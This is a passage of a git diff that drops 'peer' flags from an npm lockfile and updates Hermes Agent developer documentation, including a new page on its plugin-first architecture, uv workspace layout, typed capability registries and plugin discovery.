"baseline-browser-mapping": "^2.10.12", "caniuse-lite": "^1.0.30001782", @@ -3649,7 +3640,6 @@ "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", "license": "ISC", - "peer": true, "engines": { "node": ">=12" } @@ -3969,7 +3959,6 @@ "integrity": "sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", @@ -4375,8 +4364,7 @@ "version": "3.15.0", "resolved": "https://registry.npmjs.org/gsap/-/gsap-3.15.0.tgz", "integrity": "sha512-dMW4CWBTUK1AEEDeZc1g4xpPGIrSf9fJF960qbTZmN/QwZIWY5wgliS6JWl9/25fpTGJrMRtSjGtOmPnfjZB+A==", - "license": "Standard 'no charge' license: https://gsap.com/standard-license.", - "peer": true + "license": "Standard 'no charge' license: https://gsap.com/standard-license." }, "node_modules/has-flag": { "version": "4.0.0", @@ -4691,7 +4679,6 @@ "resolved": "https://registry.npmjs.org/leva/-/leva-0.10.1.tgz", "integrity": "sha512-BcjnfUX8jpmwZUz2L7AfBtF9vn4ggTH33hmeufDULbP3YgNZ/C+ss/oO3stbrqRQyaOmRwy70y7BGTGO81S3rA==", "license": "MIT", - "peer": true, "dependencies": { "@radix-ui/react-portal": "^1.1.4", "@radix-ui/react-tooltip": "^1.1.8", @@ -5099,7 +5086,6 @@ "resolved": "https://registry.npmjs.org/motion/-/motion-12.38.0.tgz", "integrity": "sha512-uYfXzeHlgThchzwz5Te47dlv5JOUC7OB4rjJ/7XTUgtBZD8CchMN8qEJ4ZVsUmTyYA44zjV0fBwsiktRuFnn+w==", "license": "MIT", - "peer": true, "dependencies": { "framer-motion": "^12.38.0", "tslib": "^2.4.0" @@ -5172,7 +5158,6 @@ } ], "license": "MIT", - "peer": true, "engines": { "node": "^20.0.0 || >=22.0.0" } @@ -5300,7 +5285,6 @@ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -5372,7 +5356,6 @@ "resolved": "https://registry.npmjs.org/react/-/react-19.2.5.tgz", "integrity": "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA==", "license": "MIT", - "peer": true, "engines": { "node": ">=0.10.0" } @@ -5392,7 +5375,6 @@ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.5.tgz", "integrity": "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag==", "license": "MIT", - "peer": true, "dependencies": { "scheduler": "^0.27.0" }, @@ -5753,8 +5735,7 @@ "version": "0.180.0", "resolved": "https://registry.npmjs.org/three/-/three-0.180.0.tgz", "integrity": "sha512-o+qycAMZrh+TsE01GqWUxUIKR1AL0S8pq7zDkYOQw8GqfX8b8VoCKYUoHbhiX5j+7hr8XsuHDVU6+gkQJQKg9w==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/tinyglobby": { "version": "0.2.16", @@ -5819,7 +5800,6 @@ "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", "dev": true, "license": "Apache-2.0", - "peer": true, "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" @@ -5918,7 +5898,6 @@ "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", "license": "MIT", - "peer": true, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } @@ -5934,7 +5913,6 @@ "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==", "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", @@ -6056,7 +6034,6 @@ "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", "dev": true, "license": "MIT", - "peer": true, "funding": { "url": "https://github.com/sponsors/colinhacks" } diff --git a/website/docs/developer-guide/adding-providers.md b/website/docs/developer-guide/adding-providers.md index 387c9e5b6e8..63c002a460e 100644 --- a/website/docs/developer-guide/adding-providers.md +++ b/website/docs/developer-guide/adding-providers.md @@ -348,8 +348,7 @@ python -m pytest tests/test_runtime_provider_resolution.py tests/test_cli_provid For deeper changes, run the full suite before pushing: ```bash -source venv/bin/activate -python -m pytest tests/ -n0 -q +scripts/run_tests.sh ``` ## Step 9: Live verification diff --git a/website/docs/developer-guide/architecture.md b/website/docs/developer-guide/architecture.md index 75f1dd8f6a9..dbcebb0517c 100644 --- a/website/docs/developer-guide/architecture.md +++ b/website/docs/developer-guide/architecture.md @@ -175,15 +175,16 @@ Scheduler tick → load due jobs from jobs.json If you are new to the codebase: 1. **This page** — orient yourself -2. **[Agent Loop Internals](./agent-loop.md)** — how AIAgent works -3. **[Prompt Assembly](./prompt-assembly.md)** — system prompt construction -4. **[Provider Runtime Resolution](./provider-runtime.md)** — how providers are selected -5. **[Adding Providers](./adding-providers.md)** — practical guide to adding a new provider -6. **[Tools Runtime](./tools-runtime.md)** — tool registry, dispatch, environments -7. **[Session Storage](./session-storage.md)** — SQLite schema, FTS5, session lineage -8. **[Gateway Internals](./gateway-internals.md)** — messaging platform gateway -9. **[Context Compression & Prompt Caching](./context-compression-and-caching.md)** — compression and caching -10. **[ACP Internals](./acp-internals.md)** — IDE integration +2. **[Plugin Architecture](./plugin-architecture.md)** — how plugins work, workspace layout, registries +3. **[Agent Loop Internals](./agent-loop.md)** — how AIAgent works +4. **[Prompt Assembly](./prompt-assembly.md)** — system prompt construction +5. **[Provider Runtime Resolution](./provider-runtime.md)** — how providers are selected +6. **[Adding Providers](./adding-providers.md)** — practical guide to adding a new provider +7. **[Tools Runtime](./tools-runtime.md)** — tool registry, dispatch, environments +8. **[Session Storage](./session-storage.md)** — SQLite schema, FTS5, session lineage +9. **[Gateway Internals](./gateway-internals.md)** — messaging platform gateway +10. **[Context Compression & Prompt Caching](./context-compression-and-caching.md)** — compression and caching +11. **[ACP Internals](./acp-internals.md)** — IDE integration ## Major Subsystems @@ -229,9 +230,13 @@ Long-running process with 20 platform adapters, unified session routing, user au ### Plugin System -Three discovery sources: `~/.hermes/plugins/` (user), `.hermes/plugins/` (project), and pip entry points. Plugins register tools, hooks, and CLI commands through a context API. Two specialized plugin types exist: memory providers (`plugins/memory/`) and context engines (`plugins/context_engine/`). Both are single-select — only one of each can be active at a time, configured via `hermes plugins` or `config.yaml`. +Plugin-first architecture: every optional capability lives in its own installable Python package under `plugins/` as a uv workspace member. The core codebase (`agent/`, `hermes_cli/`, `gateway/`, `tools/`) **never** imports from a `hermes_agent_*` plugin package directly — plugins register capabilities into typed registries during `register()`, and the core queries those registries at runtime. -→ [Plugin Guide](/guides/build-a-hermes-plugin), [Memory Provider Plugin](./memory-provider-plugin.md) +Registry types: `auth_providers`, `transport_builders`, `platform_adapters`, `tool_providers`, `model_metadata`, `credential_pools` (in `agent/plugin_registries.py`), plus existing specialized registries (`platform_registry`, `tts_registry`, `image_gen_provider`, etc.). + +Discovery sources: `~/.hermes/plugins/` (user), `.hermes/plugins/` (project), pip entry points, and uv workspace members. On NixOS, `loadWorkspace` discovers all workspace members from `uv.lock` automatically. + +→ [Plugin Architecture](/developer-guide/plugin-architecture), [Plugin Guide](/guides/build-a-hermes-plugin), [Memory Provider Plugin](./memory-provider-plugin) ### Cron @@ -259,7 +264,7 @@ Generates ShareGPT-format trajectories from agent sessions for training data gen | **Observable execution** | Every tool call is visible to the user via callbacks. Progress updates in CLI (spinner) and gateway (chat messages). | | **Interruptible** | API calls and tool execution can be cancelled mid-flight by user input or signals. | | **Platform-agnostic core** | One AIAgent class serves CLI, gateway, ACP, batch, and API server. Platform differences live in the entry point, not the agent. | -| **Loose coupling** | Optional subsystems (MCP, plugins, memory providers, RL environments) use registry patterns and check_fn gating, not hard dependencies. | +| **Loose coupling** | Optional subsystems (MCP, plugins, memory providers, RL environments) use registry patterns and check_fn gating, not hard dependencies. Core never imports from `hermes_agent_*` plugin packages — it queries typed registries in `agent/plugin_registries.py`. | | **Profile isolation** | Each profile (`hermes -p `) gets its own HERMES_HOME, config, memory, sessions, and gateway PID. Multiple profiles run concurrently. | ## File Dependency Chain diff --git a/website/docs/developer-guide/contributing.md b/website/docs/developer-guide/contributing.md index b3bf9799d71..ea6be913e26 100644 --- a/website/docs/developer-guide/contributing.md +++ b/website/docs/developer-guide/contributing.md @@ -81,7 +81,7 @@ hermes chat -q "Hello" ### Run Tests ```bash -pytest tests/ -v +scripts/run_tests.sh ``` ## Code Style @@ -185,7 +185,7 @@ refactor/description # Code restructuring ### Before Submitting -1. **Run tests**: `pytest tests/ -v` +1. **Run tests**: `scripts/run_tests.sh` (same as CI — hermetic env + per-file process isolation) 2. **Test manually**: Run `hermes` and exercise the code path you changed 3. **Check cross-platform impact**: Consider macOS and different Linux distros 4. **Keep PRs focused**: One logical change per PR diff --git a/website/docs/developer-guide/plugin-architecture.md b/website/docs/developer-guide/plugin-architecture.md new file mode 100644 index 00000000000..0eb10413cdf --- /dev/null +++ b/website/docs/developer-guide/plugin-architecture.md @@ -0,0 +1,360 @@ +--- +sidebar_position: 2 +title: "Plugin Architecture" +description: "How the plugin system works — workspace layout, capability registries, dependency isolation, and the hermetic core boundary" +--- + +# Plugin Architecture + +Since v0.14, Hermes Agent is built on a **plugin-first architecture**: every +optional capability — model providers, platform adapters, TTS/STT, terminal +backends, image generation — lives in its own installable Python package under +`plugins/`. The core codebase (`agent/`, `hermes_cli/`, `gateway/`, `tools/`) +**never** imports from a plugin package directly. Instead, plugins register +their capabilities into typed registries during `register()`, and the core +queries those registries at runtime. + +This page covers the structural design. For the user-facing guide to creating +plugins, see [Build a Hermes Plugin](/guides/build-a-hermes-plugin). For +enabling/disabling plugins, see [Plugins](/user-guide/features/plugins). + +## Why everything is a plugin + +Before v0.14, optional capabilities were wired into core with +`tools/lazy_deps.py` — a runtime `pip install` helper called `ensure()`. On +NixOS (and any sealed-venv environment), `ensure()` can't work because the +venv is immutable at build time. The old design also meant: + +- **Single source of truth was split** — deps were declared in `pyproject.toml` + extras AND in `LAZY_DEPS` dicts inside plugin code. +- **Core was coupled to plugins** — `from hermes_agent_bedrock import + has_aws_credentials` in `hermes_cli/auth_commands.py` meant adding a new + provider required editing core files. +- **Testing was fragile** — `ensure()` mocking was complex and tests regularly + passed locally but failed in CI (or vice versa) because of venv state leaks. + +The plugin-first architecture fixes all three: + +| Problem | Fix | +|---------|-----| +| `ensure()` doesn't work on NixOS | Dependencies are installed by the package manager. No runtime `pip install`. | +| Dual source of truth for deps | Each plugin's `pyproject.toml` is the **only** place its deps are declared. | +| Core imports plugins directly | Core queries typed registries. Plugins register themselves. | +| Flaky `ensure()` tests | Gone. If a plugin isn't installed, `ImportError` — same as any Python package. | + +## Workspace layout + +All plugin packages live under `plugins/` as members of a +[uv workspace](https://docs.astral.sh/uv/concepts/workspaces/). Each plugin +is a standard Python package with its own `pyproject.toml`: + +``` +plugins/ +├── model-providers/ +│ ├── anthropic/ +│ │ ├── pyproject.toml # package: hermes-agent-anthropic +│ │ ├── plugin.yaml # directory-scanner manifest (dev mode) +│ │ └── hermes_agent_anthropic/ +│ │ ├── __init__.py # register(), public re-exports +│ │ ├── adapter.py # Anthropic-specific client building +│ │ └── ... +│ ├── bedrock/ +│ │ ├── pyproject.toml # package: hermes-agent-bedrock +│ │ └── hermes_agent_bedrock/ +│ │ └── ... +│ └── azure-foundry/ +│ ├── pyproject.toml # package: hermes-agent-azure +│ └── hermes_agent_azure/ +│ └── ... +├── platforms/ +│ ├── telegram/ +│ │ ├── pyproject.toml # package: hermes-agent-telegram +│ │ └── hermes_agent_telegram/ +│ │ └── ... +│ ├── slack/ +│ ├── discord/ +│ ├── feishu/ +│ ├── dingtalk/ +│ └── matrix/ +├── tts/ +│ ├── pyproject.toml # package: hermes-agent-tts +│ └── hermes_agent_tts/ +├── stt/ +│ ├── pyproject.toml # package: hermes-agent-stt +│ └── hermes_agent_stt/ +├── image_gen/ +│ └── fal_pkg/ +│ ├── pyproject.toml # package: hermes-agent-fal +│ └── hermes_agent_fal/ +├── terminals/ +│ ├── daytona/ +│ ├── modal/ +│ └── vercel/ +└── ... +``` + +The root `pyproject.toml` declares the workspace: + +```toml +[tool.uv.workspace] +members = [ + "plugins/model-providers/anthropic", + "plugins/model-providers/bedrock", + "plugins/model-providers/azure-foundry", + "plugins/platforms/telegram", + "plugins/platforms/slack", + # ... all 21 workspace members +] +``` + +And each plugin depends on the main `hermes-agent` package for shared +utilities: + +```toml +# plugins/platforms/telegram/pyproject.toml +[project] +name = "hermes-agent-telegram" +dependencies = [ + "hermes-agent", + "python-telegram-bot>=22.0", +] + +[tool.uv.sources] +hermes-agent = { workspace = true } +``` + +### Single source of truth for dependencies + +A plugin's `pyproject.toml` is the **only** place its runtime dependencies are +declared. The root `pyproject.toml` maps extras to workspace members: + +```toml +[project.optional-dependencies] +telegram = ["hermes-agent-telegram"] +slack = ["hermes-agent-slack"] +anthropic = ["hermes-agent-anthropic"] +all = [ + "hermes-agent-telegram", + "hermes-agent-slack", + "hermes-agent-anthropic", + # ... all plugins +] +``` + +When you `uv sync --extra telegram`, uv resolves the workspace member +`hermes-agent-telegram` and installs it (with its own deps) into the venv. + +There is no `LAZY_DEPS` dict, no `ensure()`, no duplicate pin lists. The +`pyproject.toml` is the truth; `uv.lock` is the resolution. + +## The hermetic core boundary + +The core codebase (`agent/`, `hermes_cli/`, `gateway/`, `tools/`) must never +import from a `hermes_agent_*` plugin package. This is enforced by convention +and should be checked in CI. + +### How core accesses plugin capabilities + +Instead of direct imports, the core queries **typed registries** in +`agent/plugin_registries.py`: + +```python +# ❌ OLD — core directly imports plugin +from hermes_agent_bedrock import has_aws_credentials + +# ✅ NEW — core queries the registry +from agent.plugin_registries import registries + +bedrock_auth = registries.get_auth_provider("bedrock") +if bedrock_auth and bedrock_auth.provider.has_credentials(): + ... +``` + +### Registry types + +| Registry | What it stores | Populated by | Queried by | +|----------|---------------|---------------|------------| +| `auth_providers` | Auth check/resolve functions | Model-provider plugins | `hermes_cli/auth.py`, `auth_commands.py`, `doctor.py` | +| `transport_builders` | Client builders + message converters | Model-provider plugins | `agent/transports/`, `auxiliary_client.py` | +| `platform_adapters` | Adapter classes + `check_requirements()` | Platform plugins | `gateway/run.py`, `tools/send_message_tool.py` | +| `tool_providers` | Tool functions + constants | TTS, STT, FAL, terminal plugins | `tools/voice_mode.py`, `image_generation_tool.py`, `terminal_tool.py` | +| `model_metadata` | Context lengths, model IDs, betas | Model-provider plugins | `agent/model_metadata.py`, `hermes_cli/models.py` | +| `credential_pools` | Credential read/write/refresh | Model-provider plugins | `agent/credential_pool.py` | + +Each registry entry is a dataclass or protocol instance with well-typed fields. +The `PluginRegistries` singleton lives at `agent.plugin_registries.registries`. + +### Plugin registration + +Each plugin's `register(ctx)` function populates the registries: + +```python +# plugins/model-providers/bedrock/hermes_agent_bedrock/__init__.py +def register(ctx): + from agent.plugin_registries import AuthProviderEntry, ModelMetadataEntry + + ctx.register_auth_provider( + name="bedrock", + provider=BedrockAuthProvider(), + cli_group="AWS / Bedrock", + ) + ctx.register_model_metadata(ModelMetadataEntry( + name="bedrock", + list_models=bedrock_model_ids_or_none, + get_context_length=get_bedrock_context_length, + )) +``` + +The `PluginContext` (`hermes_cli/plugins.py`) delegates each +`register_*()` call to the matching method on the global `PluginRegistries` +singleton. This keeps the existing PluginManager lifecycle intact — plugins +are still discovered and loaded the same way, they just register into more +registries. + +### Existing specialized registries + +Some plugin categories already had registries before the refactor. These +continue to work alongside the new generic registries: + +| Registry | Module | Used by | +|----------|--------|---------| +| `platform_registry` | `gateway/platform_registry.py` | `ctx.register_platform()` | +| `tts_registry` | `agent/tts_registry.py` | `ctx.register_tts_provider()` | +| `transcription_registry` | `agent/transcription_registry.py` | `ctx.register_transcription_provider()` | +| `image_gen_provider` | `agent/image_gen_provider.py` | `ctx.register_image_gen_provider()` | +| `video_gen_provider` | `agent/video_gen_provider.py` | `ctx.register_video_gen_provider()` | +| `context_engine` | `agent/context_engine.py` | `ctx.register_context_engine()` | +| `memory_manager` | `agent/memory_manager.py` | `MemoryProvider` subclasses | + +The new `plugin_registries` module covers the capabilities that **didn't** have +a registry before: auth, transport building, model metadata, credential +pooling, and tool-provider registration. + +## Plugin discovery + +Plugins are discovered through **three** mechanisms (same as before the +refactor, but now with workspace awareness): + +1. **Directory scanner** — scans `plugins/` (bundled), `~/.hermes/plugins/` + (user), `.hermes/plugins/` (project) for directories with `plugin.yaml`. + This is the primary path for dev-mode and for user-installed plugins. + +2. **Entry points** — packages that declare + `[project.entry-points."hermes_agent.plugins"]` in their `pyproject.toml`. + This is the primary path for `pip install`-ed plugins and for NixOS + installs where the venv already contains the installed packages. + +3. **uv workspace members** — the 21 builtin plugins are workspace members, + so `uv sync --extra ` installs them into the venv. At runtime, the + entry-point scanner finds them because each plugin declares the + `hermes_agent.plugins` entry point in its `pyproject.toml`. + +On NixOS, `loadWorkspace` discovers all workspace members from `uv.lock` +automatically, and `mkVirtualEnv { hermes-agent = ["all"] }` installs all +plugin packages as transitive deps. + +## Building and publishing + +### Dev / source installs + +```bash +uv sync --all-extras # install all plugins + their deps +uv sync --extra telegram # install just the telegram plugin +``` + +### Wheel publishing (custom build backend) + +The root `pyproject.toml` uses a custom PEP 517 build backend +(`_build_backend.py`) that wraps `setuptools.build_meta`. At wheel build time +it: + +1. Reads each plugin's `pyproject.toml` from the workspace. +2. Inlines the plugin's runtime dependencies into the corresponding + `[project.optional-dependencies]` extra. +3. Delegates to `setuptools` to build the wheel. + +This means the published wheel has `telegram = ["python-telegram-bot>=22.0", +...]` instead of `telegram = ["hermes-agent-telegram"]` — because the +individual plugin packages aren't on PyPI. + +Source installs and NixOS use workspace resolution directly and never hit the +build-backend rewrite path. + +### NixOS + +```nix +services.hermes-agent = { + enable = true; + # All plugins are included by default via "all" extra. + # Select specific plugins with: + extraDependencyGroups = [ "telegram" "anthropic" ]; +}; +``` + +`loadWorkspace` discovers all workspace members from `uv.lock`. No structural +changes to the Nix files are needed — the existing `mkVirtualEnv` + `extraDependencyGroups` +mechanism already handles it. + +## Tests + +Plugin test files live in the plugin's own `tests/` directory: + +``` +plugins/platforms/telegram/ +├── tests/ +│ ├── conftest.py +│ ├── test_telegram_format.py +│ └── ... +└── hermes_agent_telegram/ + └── ... +``` + +The test runner (`scripts/run_tests_parallel.py`) discovers tests under both +`tests/` (core) and `plugins/` (plugins). The root `conftest.py` provides +shared fixtures for both. + +Running a plugin's tests requires the plugin to be installed: + +```bash +uv sync --extra telegram +scripts/run_tests.sh plugins/platforms/telegram/tests/ +``` + +If the plugin isn't installed, its tests fail with `ModuleNotFoundError` — +which is correct. You can't run telegram tests without the telegram package. + +## Migration checklist (for adding a new plugin) + +When a new optional capability is added to Hermes: + +1. **Create a plugin package** under `plugins///` with: + - `pyproject.toml` (name, version, deps, entry point declaration) + - `plugin.yaml` (for directory-scanner discovery in dev) + - `hermes_agent_/__init__.py` with `register(ctx)` + - `hermes_agent_/tests/` for plugin-specific tests + +2. **Add to workspace** — add the directory to `[tool.uv.workspace].members` + and `[tool.uv.sources]` in the root `pyproject.toml`. + +3. **Add an extra** — add `name = ["hermes-agent-"]` to + `[project.optional-dependencies]` and include it in `all`. + +4. **Register capabilities** — in `register(ctx)`, call the appropriate + `ctx.register_*()` methods to populate the typed registries. + +5. **No core edits** — the core code should not need to change. If it does, + that's a sign the registry surface is incomplete and needs a new + `register_*()` method on `PluginContext`. + +6. **Run `uv lock`** — resolve the new workspace member. + +7. **Add NixOS support** — if the plugin has native deps, add an override + in `nix/python.nix`. Otherwise `loadWorkspace` handles it automatically. + +## The rule + +> **If it can be a plugin, it must be a plugin.** + +Adding optional capabilities to core files is a code review rejection. If the +plugin surface doesn't support what you need, extend the surface (new +registry type, new hook, new `ctx` method) — don't inline the capability. diff --git a/website/docs/user-guide/features/plugins.md b/website/docs/user-guide/features/plugins.md index 781fa5e8f06..34651d9c3a7 100644 --- a/website/docs/user-guide/features/plugins.md +++ b/website/docs/user-guide/features/plugins.md @@ -9,6 +9,8 @@ description: "Extend Hermes with custom tools, hooks, and integrations via the p Hermes has a plugin system for adding custom tools, hooks, and integrations without modifying core code. +Every built-in optional capability — model providers, platform adapters, TTS/STT, terminal backends — ships as an **installable plugin package** in a uv workspace. The core codebase never imports plugins directly; plugins register capabilities into typed registries, and the core queries those registries at runtime. See [Plugin Architecture](/developer-guide/plugin-architecture) for the full design. + If you want to create a custom tool for yourself, your team, or one project, this is usually the right path. The developer guide's [Adding Tools](/developer-guide/adding-tools) page is for built-in Hermes @@ -113,13 +115,18 @@ Every `ctx.*` API below is available inside a plugin's `register(ctx)` function. | Register a context-compression engine | `ctx.register_context_engine(engine)` — see [Context Engine Plugins](/developer-guide/context-engine-plugin) | | Register a memory backend | Subclass `MemoryProvider` in `plugins/memory//__init__.py` — see [Memory Provider Plugins](/developer-guide/memory-provider-plugin) (uses a separate discovery system) | | Run a host-owned LLM call | `ctx.llm.complete(...)` / `ctx.llm.complete_structured(...)` — borrow the user's active model + auth for a one-shot completion with optional JSON schema validation. See [Plugin LLM Access](/developer-guide/plugin-llm-access) | -| Register an inference backend (LLM provider) | `register_provider(ProviderProfile(...))` in `plugins/model-providers//__init__.py` — see [Model Provider Plugins](/developer-guide/model-provider-plugin) (uses a separate discovery system) | +|| Register an inference backend (LLM provider) | `register_provider(ProviderProfile(...))` in `plugins/model-providers//` — see [Model Provider Plugins](/developer-guide/model-provider-plugin) (uses a separate discovery system) | +|| Register auth capabilities | `ctx.register_auth_provider(name, provider, cli_group=..., ...)` — provider implements `has_credentials()`, `check_env_vars()`, `resolve_token()` | +|| Register transport builders | `ctx.register_transport(name, builder)` — builder implements `build_client()`, `build_kwargs()`, `convert_messages()`, `convert_tools()` | +|| Register model metadata | `ctx.register_model_metadata(entry)` — provides `get_context_length()`, `list_models()`, provider-specific constants | +|| Register credential pool | `ctx.register_credential_pool(entry)` — provides `read_credentials()`, `write_credentials()`, `refresh_credentials()` | +|| Register tool provider | `ctx.register_tool_provider(entry)` — provides tool functions, check functions, constants, environment classes | ## Plugin discovery | Source | Path | Use case | |--------|------|----------| -| Bundled | `/plugins/` | Ships with Hermes — see [Built-in Plugins](/user-guide/features/built-in-plugins) | +| Bundled (workspace) | `/plugins//` (uv workspace member) | Ships with Hermes — install with `uv sync --extra ` | | User | `~/.hermes/plugins/` | Personal plugins | | Project | `.hermes/plugins/` | Project-specific plugins (requires `HERMES_ENABLE_PROJECT_PLUGINS=true`) | | pip | `hermes_agent.plugins` entry_points | Distributed packages |